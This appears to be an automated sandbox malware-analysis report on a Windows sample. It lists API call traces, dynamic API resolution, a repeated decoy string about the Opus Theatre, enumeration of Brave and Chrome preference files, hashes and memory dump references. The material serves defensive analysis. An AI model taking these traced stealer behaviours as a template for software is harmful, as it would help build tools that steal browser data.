GetProcAddress.KERNEL32(734B0000,027391E0), ref: 00419B61
GetProcAddress.KERNEL32(734B0000,02758B20), ref: 00419B79
GetProcAddress.KERNEL32(734B0000,02758CE8), ref: 00419B92
GetProcAddress.KERNEL32(734B0000,02735868), ref: 00419BAA
GetProcAddress.KERNEL32(734B0000,02735888), ref: 00419BC2
GetProcAddress.KERNEL32(734B0000,02758D48), ref: 00419BDB
GetProcAddress.KERNEL32(763B0000,027358A8), ref: 00419BFC
GetProcAddress.KERNEL32(763B0000,02735968), ref: 00419C14
GetProcAddress.KERNEL32(763B0000,02758D60), ref: 00419C2D
GetProcAddress.KERNEL32(763B0000,02758B80), ref: 00419C45
GetProcAddress.KERNEL32(763B0000,02735988), ref: 00419C5D
GetProcAddress.KERNEL32(750F0000,02739460), ref: 00419C83
GetProcAddress.KERNEL32(750F0000,027394B0), ref: 00419C9B
GetProcAddress.KERNEL32(750F0000,02758D90), ref: 00419CB3
GetProcAddress.KERNEL32(750F0000,02735A48), ref: 00419CCC
GetProcAddress.KERNEL32(750F0000,027358C8), ref: 00419CE4
GetProcAddress.KERNEL32(750F0000,027392A8), ref: 00419CFC
GetProcAddress.KERNEL32(75A50000,02758AA8), ref: 00419D22
GetProcAddress.KERNEL32(75A50000,027358E8), ref: 00419D3A
GetProcAddress.KERNEL32(75A50000,0273BCD8), ref: 00419D52
GetProcAddress.KERNEL32(75A50000,02758AD8), ref: 00419D6B
GetProcAddress.KERNEL32(75A50000,02758B38), ref: 00419D83
GetProcAddress.KERNEL32(75A50000,027359A8), ref: 00419D9B
GetProcAddress.KERNEL32(75A50000,02735B48), ref: 00419DB4
GetProcAddress.KERNEL32(75A50000,02758B08), ref: 00419DCC
GetProcAddress.KERNEL32(75A50000,02758B50), ref: 00419DE4
GetProcAddress.KERNEL32(75070000,02735B08), ref: 00419E06
GetProcAddress.KERNEL32(75070000,02759318), ref: 00419E1E
GetProcAddress.KERNEL32(75070000,027592A0), ref: 00419E36
GetProcAddress.KERNEL32(75070000,02759330), ref: 00419E4F
GetProcAddress.KERNEL32(75070000,027592E8), ref: 00419E67
GetProcAddress.KERNEL32(74E50000,02735928), ref: 00419E88
GetProcAddress.KERNEL32(74E50000,02735948), ref: 00419EA1
GetProcAddress.KERNEL32(75320000,02735B68), ref: 00419EC2
GetProcAddress.KERNEL32(75320000,02759228), ref: 00419EDA
GetProcAddress.KERNEL32(6F080000,02735B28), ref: 00419F00
GetProcAddress.KERNEL32(6F080000,02735B88), ref: 00419F18
GetProcAddress.KERNEL32(6F080000,02735BA8), ref: 00419F30
GetProcAddress.KERNEL32(6F080000,027593A8), ref: 00419F49
GetProcAddress.KERNEL32(6F080000,02735BC8), ref: 00419F61
GetProcAddress.KERNEL32(6F080000,02735BE8), ref: 00419F79
GetProcAddress.KERNEL32(6F080000,027359C8), ref: 00419F92
GetProcAddress.KERNEL32(6F080000,02735A28), ref: 00419FAA
GetProcAddress.KERNEL32(6F080000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F080000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(74E00000,027591F8), ref: 00419FF9
GetProcAddress.KERNEL32(74E00000,0273BC78), ref: 0041A011
GetProcAddress.KERNEL32(74E00000,027593D8), ref: 0041A029
GetProcAddress.KERNEL32(74E00000,027592B8), ref: 0041A042
GetProcAddress.KERNEL32(74DF0000,02735AC8), ref: 0041A063
GetProcAddress.KERNEL32(6E0D0000,02759240), ref: 0041A084
GetProcAddress.KERNEL32(6E0D0000,02735C08), ref: 0041A09D
GetProcAddress.KERNEL32(6E0D0000,027593C0), ref: 0041A0B5
GetProcAddress.KERNEL32(6E0D0000,027592D0), ref: 0041A0CD

Strings

InternetSetOptionA, xrefs: 00419FB5
HttpQueryInfoA, xrefs: 00419FCC

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction ID: 04d817b79848fc48b59ba69504da24c7d1b3191c531f4b94b2025844f93bc58f
Opcode Fuzzy Hash: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction Fuzzy Hash: E941BB79740624EBC71C9FE5EC89B987F71AB4C712BA0C062F90299190C7F9D5019B3D

Function 0040BCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

\Brave\Preferences, xrefs: 0040C01B
Preferences, xrefs: 0040BF5E
Brave, xrefs: 0040BF42
Google Chrome, xrefs: 0040C474

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: b8d54855bac84cb5f799b0406d7ac61f601ee05180926d3c59a99990d5a6785e
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: b8d54855bac84cb5f799b0406d7ac61f601ee05180926d3c59a99990d5a6785e
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 6C6D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C75F688,00001000), ref: 6C6D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C6D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C6D369F
__aulldiv.LIBCMT ref: 6C6D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C6D3773
EnterCriticalSection.KERNEL32(6C75F688), ref: 6C6D377E
LeaveCriticalSection.KERNEL32(6C75F688), ref: 6C6D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6D37C4
EnterCriticalSection.KERNEL32(6C75F688), ref: 6C6D37CB
LeaveCriticalSection.KERNEL32(6C75F688), ref: 6C6D3801
__aulldiv.LIBCMT ref: 6C6D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C6D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C6D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C6D394C

Strings

GenuntelineI, xrefs: 6C6D3639
AuthcAMDenti, xrefs: 6C6D3946
GTC, xrefs: 6C6D3912
MOZ_TIMESTAMP_MODE, xrefs: 6C6D35DB
QPC, xrefs: 6C6D38FC

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: cdac71db555954c5cc14f912ed0644b61ebfb9220c7324814ae7d6cf6155d432
Instruction ID: 261f36677603b2365a910ec73c55019c92fa6a9d7d9d10d6a405515b2a941301
Opcode Fuzzy Hash: cdac71db555954c5cc14f912ed0644b61ebfb9220c7324814ae7d6cf6155d432
Instruction Fuzzy Hash: 78B1A3B1B053109FDB08DF28C94465ABBF5FB8A704F45893EE899D7790DB34A904CB85

Function 004143F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\*, xrefs: 00414400
%s\%s, xrefs: 00414484
%s\%s, xrefs: 004144DB

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
